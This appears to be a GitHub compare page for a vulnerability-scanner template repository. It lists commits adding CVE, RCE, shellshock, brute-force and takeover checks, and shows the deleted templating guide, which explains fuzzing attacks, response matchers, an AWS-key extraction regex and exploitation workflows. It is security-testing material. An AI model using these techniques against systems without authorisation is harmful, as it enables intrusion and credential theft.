Compare commits

...
148 Commits
Author SHA1 Message Date
bauthard 84d4e2ab5a Merge pull request #288 from random-robbie/patch-1
Create CVE-2017-9841
2020-08-07 13:43:46 +05:30
bauthard 5c083d5860 Update CVE-2017-9841.yaml 2020-08-07 13:43:01 +05:30
bauthard 7cdf1f2154 Adding Reference 2020-08-07 13:41:39 +05:30
bauthard 5d6e6e8fbf updating file name 2020-08-07 13:37:12 +05:30
Robbie a43291d9d9 Create CVE-2017-9841 2020-08-07 09:02:28 +01:00
bauthard e7514cffc5 Merge pull request #287 from manuelbua/fix-improve-wadl-template
Improve WADL detection, remove WSDL check, add additional checks
2020-08-07 01:22:20 +05:30
bauthard b48dc3b9c3 Update wadl-files.yaml 2020-08-07 01:21:37 +05:30
Manuel Bua 378373a5b8 Remove WSDL check, add additional checks 2020-08-06 21:10:09 +02:00
bauthard 62089805d3 Merge pull request #285 from al3xdelarge/patch-2
Add semicolon to path
2020-08-06 13:44:18 +05:30
bauthard fca119eb24 adding both path for possilbe use cases 2020-08-06 13:42:12 +05:30
bauthard e4b0d08269 Merge pull request #284 from al3xdelarge/patch-1
Improve shellshock payload
2020-08-06 13:38:37 +05:30
Aron Molnar 8315f5f780 Add semicolon to path
The vulnerability is that access restriction can be circumvented by adding a semicolon to the path (as pointed out in https://github.com/immunIT/CVE-2018-11759).
Without semicolon, jkstatus would be public anyway and would not be related to the CVE.
2020-08-06 10:06:13 +02:00
Aron Molnar f4ebffa1bc Improve shellshock payload 2020-08-06 10:03:58 +02:00
bauthard 86c124a3ae Merge pull request #283 from un-fmunozs/fix279
Update rce-via-java-deserialization.yaml
2020-08-06 12:15:26 +05:30
un-fmunozs 03eb473c7b Update rce-via-java-deserialization.yaml
Add rce-via-java-deserialization id
2020-08-05 22:57:52 -05:00
bauthard e4ecdde5e0 Added CVE-2019-19985 2020-08-05 01:49:57 +05:30
bauthard 140f069e55 Update detect-all-takeovers.yaml 2020-08-05 00:56:22 +05:30
bauthard 4abb268ac2 Added CVE-2019-18394 2020-08-04 20:54:23 +05:30
bauthard e3ab09379f Update tomcat-manager-bruteforce.yaml 2020-08-04 06:41:32 +05:30
bauthard e6035c3359 Update tomcat-manager-bruteforce.yaml 2020-08-04 04:23:29 +05:30
bauthard ad00a04162 Update tomcat-manager-bruteforce.yaml 2020-08-04 04:16:10 +05:30
bauthard 027fbc6ee1 Update tomcat-manager-bruteforce.yaml 2020-08-04 04:05:38 +05:30
bauthard 6f7eca5f04 few more updates 2020-08-04 04:05:04 +05:30
bauthard a41edcf8e5 template mise 2020-08-04 03:24:35 +05:30
bauthard c30dc25289 uniform severity update 2020-08-04 03:22:00 +05:30
bauthard 492379034b Merge pull request #277 from eschultze/master
Two new templates
2020-08-03 11:40:51 +05:30
bauthard eb4c065ef9 Update wamp-xdebug-detect.yaml 2020-08-03 11:39:41 +05:30
eschultze d12f639bc6 Create wamp-xdebug-detect.yaml 2020-08-03 00:44:37 -03:00
eschultze 4e6eeeba6a Create weave-scope-dashboard-detect.yaml 2020-08-03 00:37:57 -03:00
bauthard 84d3cb15d8 Delete GUIDE.md 2020-08-02 23:28:48 +05:30
bauthard 0088f2e474 encoding update 2020-08-02 21:28:48 +05:30
bauthard fdf5ac46df Readme update 2020-08-02 18:42:36 +05:30
bauthard 8bb5d0ba4e preparing for v2.1.0 release 2020-08-02 18:28:07 +05:30
bauthard 9212a3df37 Merge pull request #275 from chron0x/tiki-wiki-cms
add tikiwiki-cms panel
2020-08-01 11:22:09 +05:30
Philipp Benz 5b882d8805 add tikiwiki-cms panel 2020-08-01 09:16:27 +09:00
bauthard cb9a029465 Merge pull request #272 from Mad-robot/master
👋👋👋
2020-08-01 02:19:13 +05:30
bauthard f5d35e3fad minor fixs 2020-08-01 02:18:24 +05:30
bauthard b27f657dfb Merge pull request #274 from eschultze/master
Fix small typo at wordpress-user-enumeration.yaml
2020-08-01 01:50:34 +05:30
eschultze 8a14a1cf78 Fix small typo 2020-07-31 17:18:26 -03:00
SaN ThosH fb310bc62f Oracle Content Server XSS 2020-07-31 23:23:22 +05:30
SaN ThosH 99d78127ea Nginx virtual host traffic status module XSS
https://github.com/vozlt/nginx-module-vts/issues/174
2020-07-31 23:18:14 +05:30
bauthard 38df2615cd Merge pull request #271 from Mad-robot/master
push
2020-07-31 23:13:41 +05:30
bauthard b44f47c502 matcher updates 2020-07-31 23:12:34 +05:30
SaN ThosH a46612e7b7 Create tikiwiki-reflected-xss.yam 2020-07-31 22:55:41 +05:30
SaN ThosH 0a38e306a7 Odoo 12.0 - Local File Inclusion
https://www.exploit-db.com/exploits/48609
2020-07-31 22:52:10 +05:30
bauthard 7054c2b758 Payload update 2020-07-31 21:51:48 +05:30
bauthard d6930042a9 trailing-spaces 2020-07-31 15:32:19 +05:30
bauthard da42a21e5e syntax update 2020-07-31 15:30:36 +05:30
bauthard f9bfb5de0b Update amazon-mws-auth-token-value.yaml 2020-07-31 14:17:36 +05:30
bauthard eea177a203 Update lazy-file.yaml 2020-07-31 14:08:08 +05:30
bauthard 36a730e9df temp fix for extractors 2020-07-30 13:46:37 +05:30
bauthard ce124d32bd Update .gitignore 2020-07-29 13:21:06 +05:30
bauthard 9be9a16bbc Merge pull request #269 from eugui/patch-4
Update open-redirect.yaml
2020-07-28 21:16:58 +05:30
bauthard 3f9f47d682 Merge pull request #261 from eugui/patch-1
Update swagger-panel.yaml
2020-07-28 21:09:49 +05:30
bauthard ef61bfd5dc Merge pull request #266 from XalfiE/master
Check to test  Oracle EBS Bispgraph File Access Vulnerability (RCE)
2020-07-28 20:58:54 +05:30
bauthard e23e6767fd updating template 2020-07-28 20:44:22 +05:30
bauthard 3fd163e6c8 Merge pull request #262 from eugui/patch-2
Create lazy-file.yaml
2020-07-28 20:20:15 +05:30
bauthard 094ebe18bf correcting matcher rule 2020-07-28 20:14:34 +05:30
bauthard ea3f569315 Merge pull request #264 from eugui/patch-3
Create filezilla.yaml
2020-07-28 19:45:26 +05:30
bauthard 8ce1575736 Update filezilla.yaml 2020-07-28 19:42:45 +05:30
bauthard 367674cc51 Merge pull request #263 from yashanand/master
JMX Console
2020-07-28 19:23:20 +05:30
bauthard df091f9fec updating matcher 2020-07-28 19:22:30 +05:30
d[-_-]b 318a78ebef Update open-redirect.yaml 2020-07-28 14:29:36 +01:00
Alfie Njeru 6e8b732d57 Update oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml 2020-07-27 12:37:21 +03:00
Alfie Njeru 2ac65abb92 Update CVE-2020-3452.yaml 2020-07-27 12:31:38 +03:00
Alfie Njeru 881efe9d95 Update CVE-2020-3452.yaml 2020-07-27 12:30:16 +03:00
Alfie Njeru 5340a96e4c Oracle EBS Bispgraph File Access Vulnerability
A test to check whether you can read the etc/password file on a vulnerable Oracle Enterprise Business Suite instance
2020-07-27 12:25:15 +03:00
d[-_-]b 91f1ffa23a Create filezilla.yaml 2020-07-27 08:25:54 +01:00
Yash Anand 6ec61bebc0 JMX Console 2020-07-27 11:35:52 +05:30
bauthard 1682750d91 removing duplicates 2020-07-27 02:20:54 +05:30
d[-_-]b d95039f26f Create lazy-file.yaml 2020-07-26 20:29:04 +01:00
d[-_-]b effd01fe15 Update swagger-panel.yaml 2020-07-26 20:26:57 +01:00
bauthard eae2f9fd72 Merge pull request #258 from yashanand/master
Added htaccess templates
2020-07-26 03:39:02 +05:30
bauthard 87f5e61d2c updates 2020-07-26 03:36:57 +05:30
bauthard 94d99ba353 updates 2020-07-26 01:35:02 +05:30
Alfie Njeru 82f2da04f8 Update CVE-2020-3452.yaml
Added the second PoC
2020-07-25 11:49:14 +03:00
bauthard 567dd35b03 Update CVE-2020-3187.yaml 2020-07-25 12:35:19 +05:30
bauthard 86e27b8609 updating template 2020-07-25 12:27:30 +05:30
bauthard a0073a9509 Merge pull request #259 from v1ll41n/CVE-2020-3187-template
Adding Cisco ASA/FTD Unauthenticated Arbitrary File Deletion - CVE-20…
2020-07-25 10:52:43 +05:30
bauthard bb4542433e Update CVE-2020-3187.yaml 2020-07-25 10:52:00 +05:30
v1ll41n 5d616236af Adding Cisco ASA/FTD Unauthenticated Arbitrary File Deletion - CVE-2020-3187 2020-07-25 03:53:21 +02:00
Yash Anand 6233f18c40 Add files via upload 2020-07-24 15:47:46 +05:30
Yash Anand e99e691df4 Htaccess file 2020-07-24 15:46:18 +05:30
bauthard b0383dc5e0 Merge pull request #256 from mohammedshine/patch-2
Create kibana.yaml
2020-07-24 15:44:23 +05:30
bauthard fd39140c7d template update 2020-07-24 15:43:10 +05:30
bauthard 5321870a37 Merge pull request #253 from yashanand/master
web-config checker
2020-07-24 15:37:32 +05:30
bauthard 80148dfc80 Update web-config.yaml 2020-07-24 15:34:43 +05:30
bauthard f94a25fb6d template update 2020-07-24 15:32:27 +05:30
bauthard 4651a012cd Rename RCE-via-java-deserialization.yaml to rce-via-java-deserialization.yaml 2020-07-24 15:02:04 +05:30
bauthard 9ffe71b202 Merge pull request #257 from uhnysh/master
RCE via Java Deserialization
2020-07-24 15:00:47 +05:30
bauthard 55ccaba797 Update RCE-via-java-deserialization.yaml 2020-07-24 14:59:46 +05:30
mohammedshine 0c73694da8 Update kibana.yaml 2020-07-24 14:56:14 +05:30
uhnysh 5e26af7cfc Update RCE-via-java-deserialization.yaml 2020-07-24 14:54:31 +05:30
mohammedshine c642f06f63 Create kibana.yaml 2020-07-24 14:52:22 +05:30
uhnysh 41f25f0fc2 rce via java deserialization 2020-07-24 14:45:31 +05:30
Yash Anand 72ab4b799b Check for cgi test file
Please check the severity
2020-07-24 13:08:47 +05:30
Yash Anand 8cbe35bf1a Add files via upload
it will check for web.config file
2020-07-24 12:43:24 +05:30
bauthard 211ddcc575 Update detect-all-takeovers.yaml 2020-07-23 12:45:17 +05:30
bauthard 7cd26fb9d7 more takeover services 2020-07-23 12:38:42 +05:30
bauthard d498f1a4bd Update and rename cve-2020-3452.yaml to CVE-2020-3452.yaml 2020-07-23 02:14:48 +05:30
Ice3man 15cfd445d5 Merge pull request #249 from projectdiscovery/add-cisco-asa-cve
Create cve-2020-3452.yaml
2020-07-22 12:42:19 -07:00
Ice3man b4a6f7bc8c Create cve-2020-3452.yaml 2020-07-23 00:59:49 +05:30
bauthard 5fc15bdbdb Merge pull request #248 from cuckflong/master
Added subdomain takeover for read the docs
2020-07-22 10:43:13 +05:30
bauthard aa5921b56a Update detect-all-takeovers.yaml 2020-07-22 10:41:58 +05:30
cuckflong 454146af31 Added subdomain takeover for read the docs 2020-07-22 13:38:59 +10:00
bauthard 6009126fcf Merge pull request #246 from dwisiswant0/add-cve-tech-payload-workflow
Add CVEs, Detection, Payloads & Workflow
2020-07-21 13:51:37 +05:30
bauthard 0153c765a9 Update open-redirect.yaml 2020-07-21 13:32:10 +05:30
bauthard 0eb330bd46 removing extra spaces 2020-07-21 13:30:14 +05:30
Dwi Siswanto d7f8ea6f8e ⚡ SAP NetWeaver Workflow 2020-07-21 13:54:28 +07:00
Dwi Siswanto b99ae37ea7 ⚡ Add dedicated payloads dir - CVE-2020-6287 2020-07-21 13:54:02 +07:00
Dwi Siswanto 6c7c64342c ⚡ Add SAP NetWeaver AS JAVA detection 2020-07-21 13:53:29 +07:00
Dwi Siswanto d31ce1f937 🔥 Add CVE-2020-6287 2020-07-21 13:53:00 +07:00
Dwi Siswanto 1a836fc482 🔥 Add CVE-2020-1147 2020-07-21 03:12:42 +07:00
bauthard 9f3dfb639a updating takeover template 2020-07-20 18:34:40 +05:30
bauthard 338b26367e Merge pull request #244 from adiffpirate/master
New services and ordered file by name
2020-07-20 18:14:17 +05:30
Luiz Paulo S. Monteiro 0c3318e157 Removed trailing spaces 2020-07-19 21:22:01 -03:00
Luiz Paulo S. Monteiro 66cec9f892 Removed trailing spaces 2020-07-19 21:18:51 -03:00
Luiz Paulo S. Monteiro b529f5bf01 Ordered by name 2020-07-19 21:12:18 -03:00
Luiz Paulo S. Monteiro 149f78ac19 New services
Keeping up with [Can I takeover XYZ?](https://github.com/EdOverflow/can-i-take-over-xyz)
2020-07-19 20:43:37 -03:00
bauthard d2885a1351 Merge pull request #186 from dwisiswant0/development
Add CVE-2019-16759 RCE in vBulletin
2020-07-17 09:39:39 +05:30
bauthard d9e950b674 Merge pull request #241 from EasyNV/master
Add CVE-2020-6286, CVE-2020-6287 (SAP RECON) Detection
2020-07-16 12:34:26 +05:30
bauthard 3625417293 Update sap-recon-detect.yaml 2020-07-16 12:30:43 +05:30
bauthard e9f2d515c3 updates
updated the template and moved into right folder
2020-07-16 12:28:11 +05:30
Samuel Adi afaeae9558 Update CVE-2020-6286.yaml
As per @organiccrap input, I've added word detection that he have helped to create
2020-07-16 09:37:51 +07:00
Samuel Adi e655ad4784 Add CVE-2020-6286 2020-07-16 00:32:35 +07:00
Samuel Timotius Adianto e41800b35d Add CVE-2020-6286 2020-07-16 00:26:04 +07:00
bauthard 4bedadc6ad Merge pull request #240 from ankh2054/master
Add description to templates.
2020-07-15 14:45:04 +05:30
Charles Holtzkampf 5dc681b86a add description to templates. 2020-07-15 09:19:42 +01:00
Charles Holtzkampf ea663fbce5 Add description 2020-07-15 09:10:17 +01:00
bauthard ed05dcfbdd Merge pull request #237 from EdOverflow/master
Add Frontify subdomain takeover detection
2020-07-12 20:04:34 +05:30
EdOverflow 9fea6d2880 Add missing logical "and" condition 2020-07-12 16:33:22 +02:00
EdOverflow 26877edfbd Add Frontify subdomain takeover detection
Please keep in mind, Frontify subdomain takeovers require a premium account.
2020-07-12 14:44:38 +02:00
bauthard 2ff5be0a36 Merge pull request #233 from bauthard/master
template for CVE-2020-8193 detection
2020-07-11 23:59:37 +05:30
bauthard d21129b102 Merge pull request #236 from dwisiswant0/add-cves
Add CVEs - CVE-2020-8191 & CVE-2020-8194
2020-07-11 23:53:15 +05:30
Dwi Siswanto dd8e298fdc 🔨 Update severity - CVE-2020-8191 2020-07-12 00:54:36 +07:00
Dwi Siswanto 624c89931c 🔥 Add Citrix ADC/Gateway Reflected XSS - CVE-2020-8191 2020-07-12 00:53:33 +07:00
Dwi Siswanto 0c74115ffd 🔥 Add Citrix ADC/Gateway Reflected Code Injection - CVE-2020-8194 2020-07-12 00:52:28 +07:00
bauthard d25b3ec59f Merge pull request #234 from nahoragg/patch-1
header matcher update
2020-07-11 18:09:49 +05:30
bauthard 72c8efa99f Update springboot-detect.yaml 2020-07-11 18:09:10 +05:30
nahoragg 400852776b header matcher update
Came across a condition where this template wasn't matching because the application was sending "application/vnd.spring-boot.actuator.v2+json;charset=UTF-8" instead of "application/json" in content-type header of response.
2020-07-11 18:05:36 +05:30
bauthard b15494d59e tempalte for CVE-2020-8193 detection 2020-07-11 15:45:20 +05:30
dw1 3d150d7825 ➖ Remove BIG-IP Config Utility Detect 2020-07-06 08:33:50 +07:00
dw1 79291e9e54 🔥 BIG-IP Configuration Utility detection 2020-07-05 15:04:32 +07:00
dw1 695afb7a96 ✏️ Rename to CVE-2019-16759 2020-07-05 14:20:36 +07:00
dw1 8a338f93cb ⚠️ Clear Yamllint warnings 2020-07-04 23:32:47 +07:00
dw1 40e627d9db 🔨 Escaping payload - CVE-2020-7961 2020-07-04 23:29:12 +07:00
dw1 09df55940c 🔥 Add 0day RCE in vBulletin v5.0.0-v5.5.4 2020-07-04 22:56:10 +07:00
dw1 56e21957a3 🔨 Update payload & matchers - CVE-2020-7961 2020-07-04 22:55:40 +07:00
122 changed files with 1214 additions and 1309 deletions

No files matched your search

+2
View File
@@ -0,0 +1,2 @@
.DS_Store
local/
-608
View File
@@ -1,608 +0,0 @@
# Templating Guide
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
## Table of Contents
* [Templating Guide](#templating-guide)
* [Template Details](#template-details)
* [<strong>Info</strong>](#info)
* [<strong>HTTP Requests</strong>](#http-requests)
* [<strong>Method</strong>](#method)
* [<strong>Redirects</strong>](#redirects)
* [<strong>Path</strong>](#path)
* [<strong>Headers</strong>](#headers)
* [<strong>Body</strong>](#body)
* [<strong>Matchers</strong>](#matchers)
* [<strong>Types</strong>](#types)
* [<strong>Conditions</strong>](#conditions)
* [<strong>Matched Parts</strong>](#matched-parts)
* [<strong>Multiple Matchers</strong>](#multiple-matchers)
* [Extractors](#extractors)
* [<strong>Example HTTP Template</strong>](#example-http-template)
* [<strong>DNS Requests</strong>](#dns-requests)
* [<strong>Type</strong>](#type)
* [<strong>Name</strong>](#name)
* [<strong>Class</strong>](#class)
* [<strong>Recursion</strong>](#recursion)
* [<strong>Retries</strong>](#retries)
* [<strong>Matchers</strong>](#matchers)
* [<strong>Example DNS Template</strong>](#example-dns-template)
* [<strong>Chained workflow</strong>](#chained-workflow)
## Template Details
Each template has a unique ID which is used during output writing to specify the template name for an output line.
The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
```yaml
# id contains the unique identifier for the template.
id: git-config
```
ID must not contain spaces. This is done to allow easier output parsing.
### Info
Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
Let's add an **info** block to our template as well.
```yaml
info:
# Name is the name of the template
name: Git Config File Detection Template
# Author is the name of the author for the template
author: Ice3man
# Severity is the severity for the template.
severity: medium
```
Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
### HTTP Requests
Requests start with a request block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
requests:
```
At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
```yaml
requests:
- raw:
- |
GET /path1/ HTTP/1.1
User-Agent: chrome
Host: {{Hostname}}
Accept: a1/b1
- |
POST /path2/ HTTP/1.1
User-Agent: chrome
Host: {{Hostname}}
Accept: a2/b2
This is the request Body
```
Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
```yaml
id: dummy-raw
info:
name: Example-Fuzzing
requests:
- payloads:
param_a: /home/user/wordlist_param_a.txt
param_b: /home/user/wordlist_param_b.txt
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
raw:
# Request with simple param and header manipulation with DSL functions
- |
POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
User-Agent: {{param_a}}
Host: {{Hostname}}
another_header: {{base64(param_b)}}
Accept: */*
This is the Body
# Request with body manipulation
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
This is the body {{sha256(param_a)}}
# Yet another one
- |
PUT / HTTP/1.1
Host: {{Hostname}}
This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
matchers:
- type: word
words:
- "title"
- "body"
```
This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
#### Method
First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
```yaml
# Method is the method for the request
method: GET
```
#### Redirects
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
An example of the usage:
```yaml
requests:
- method: GET
path:
- "{{BaseURL}}/login.php
redirects: true
max-redirects: 3
```
#### Path
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
Some sample dynamic variable replacement examples:
```yaml
path: {{BaseURL}}/.git/config
# This path will be replaced on execution with BaseURL
# If BaseURL is set to https://abc.com then the
# path will get replaced to the following: https://abc.com/.git/config
```
Multiple paths can also be specified in one request which will be requested for the target.
#### Headers
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
```yaml
# headers contains the headers for the request
headers:
# Custom user-agent header
User-Agent: Some-Random-User-Agent
# Custom request origin
Origin: https://google.com
```
#### Body
Body specifies a body to be sent along with the request. For instance:
```yaml
# Body is a string sent along with the request
body: "{\"some random JSON\"}"
```
#### Matchers
Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
##### Types
Multiple matchers can be specified in a request. There are basically 6 types of matchers:
| Matcher Type | Part Matched |
| ------------ | -------------------------- |
| status | Status Code of Response |
| size | Content Length of Response |
| word | Response body or headers |
| regex | Response body or headers |
| binary | Response body |
| dsl | All Response Parts |
To match status codes for responses, you can use the following syntax.
```yaml
matcher:
# Match the status codes
- type: status
# Some status codes we want to match
status:
- 200
- 302
```
To match binary for hexadecimal responses, you can use the following syntax.
```yaml
matchers:
- type: binary
binary:
- "504B0304" # zip archive
- "526172211A070100" # rar RAR archive version 5.0
- "FD377A585A0000" # xz tar.xz archive
condition: or
part: body
```
To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
```yaml
matchers:
- type: dsl
dsl:
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
```
Every part of a http response can be matched:
| Response Part | Description | Example |
|------------------|-------------------------------------------------|---------------------------|
| content_length | Header Content-Length | content_length >= 1024 |
| status_code | Response Status Code | status_code==200 |
| all_headers | Unique string containing all headers | len(all_headers) |
| body | Body as string | len(body) |
| header_name | Lowercase header name with "-" converted to "_" | len(user_agent) |
| raw | Headers + Response | len(raw) |
This is the list for a dns response:
| Response Part | Description | Example |
|------------------|-----------------------------------|---------------------------|
| rcode | Response status | rcode == "NXDOMAIN |
| question | Response Question Section | len(question) |
| extra | Response Extra Section | len(extra) |
| answer | Response Answers Section | len(answer) |
| ns | Response Authority Section | len(ns) |
| raw | Full Response | len(raw) |
The helper functions are:
| Helper Function | Description | Example |
|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
| len | Length of a string | len("Hello") // Result: 5 |
| toupper | string to uppercase | toupper("Hello") // Result: "HELLO" |
| tolower | string to lowercase | tolower("Hello") // Result: "hello" |
| replace | Replace string parts | replace("Hello", "He", "Ha") // Result: "Hallo" |
| trim | Remove trailing unicode chars | trim("aaaHelloddd", "ad") // Result: "Hello" |
| trimleft | Remove unicode chars from left | trimleft("aaaHelloddd", "ad") // Result: "Helloddd" |
| trimright | Remove unicode chars from right | trimleft("aaaHelloddd", "ad") // Result: "aaaHello" |
| trimspace | Remove trailing spaces | trimspace(" Hello ") // Result: "Hello" |
| trimprefix | Trim specified prefix | trimprefix("aaHelloaa", "aa") // Result: "Helloaa" |
| trimsuffix | Trim specified suffix | trimsuffix("aaHelloaa", "aa") // Result: "aaHello" |
| base64 | Encode string to base64 | base64("Hello") // Result: "SGVsbG8=" |
| base64_decode | Decode string from base64 | base64_decode("SGVsbG8=") // Result: "Hello" |
| url_encode | URL encode a string | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1" |
| url_decode | URL decode a string | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1" |
| hex_encode | Hex encode a string | hex_encode("aa") // Result: "6161" |
| hex_decode | Hex decode a string | hex_decode("6161") // Result: "aa" |
| html_escape | Hex encode a string | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;" |
| html_unescape | Hex decode a string | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>" |
| md5 | Calculate md5 of string | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7" |
| sha256 | Calculate sha256 of string | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969" |
| sha1 | Calculate sha1 of string | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0" |
| contains | Verify if a string contains another one | contains("Hello", "lo") // Result: True |
| regex | Verify a regex versus a string | regex("H([a-z]+)o", "Hello") // Result: True |
##### Conditions
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
##### Matched Parts
Multiple parts of the response can also be matched for the request.
| Part | Matched Part |
| ------ | ------------------------------------ |
| body | Body of the response |
| header | Header of the response |
| all | Both body and header of the response |
Example matchers for response body using the AND condition:
```yaml
matcher:
# Match the body word
- type: word
# Some words we want to match
words:
- "[core]"
- "[config]"
# Both words must be found in the response body
condition: and
# We want to match request body (default)
part: body
```
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
##### Multiple Matchers
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
Here is an example of syntax for multiple matchers.
```yaml
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
```
##### Matchers Condition
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
```yaml
matchers-condition: and
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: or
part: header
- type: word
words:
- "PHP"
part: body
```
#### Extractors
Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
```yaml
# A list of extractors for text extraction
extractors:
# type of the extractor, only regex for now.
- type: regex
# part of the response to extract (can be headers, all too)
part: body
# regex to use for extraction.
regex:
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
```
#### **Example HTTP Template**
The final template file for the `.git/config` file mentioned above is as follows:
```yaml
id: git-config
info:
name: Git Config File
author: Ice3man
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/.git/config"
matchers:
- type: word
words:
- "[core]"
```
### DNS Requests
Requests start with a dns block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
dns:
```
DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
#### Type
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
```yaml
# type is the type for the dns request
type: A
```
#### Name
The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
Some sample dynamic variable replacement examples:
```yaml
name: {{FQDN}}.com
# This value will be replaced on execution with the FQDN.
# If FQDN is https://this.is.an.example then the
# name will get replaced to the following: this.is.an.example.com
```
As of now the tool supports only one question per request.
#### Class
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
```yaml
# method is the class for the dns request
class: inet
```
#### Recursion
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
```yaml
# Recursion is a boolean determining if the request is recursive
recursion: true
```
#### Retries
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
```yaml
# Retries is a number of retries before giving up on dns resolution
retries: 3
```
#### Matchers
Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
##### Types
Multiple matchers can be specified in a request. There are basically 5 types of matchers:
| Matcher Type | Part Matched |
| ------------ | -------------------------- |
| size | Response size |
| word | Response |
| regex | Response |
| binary | Response |
| dsl | Response |
## **Example DNS Template**
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
```yaml
id: dummy-cname-a
info:
name: Dummy A dns request
author: mzack9999
severity: none
dns:
- name: "{{FQDN}}"
type: A
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# The response must contains a CNAME record
- "IN\tCNAME"
# and also at least 1 A record
- "IN\tA"
condition: and
```
# Chained workflow
It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.
Chained workflow supports both HTTP and DNS request based templates.
Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application.
```yaml
id: workflow-example
info:
name: Jira-Pawner
author: mzack9999
variables:
# defining templates using variables.
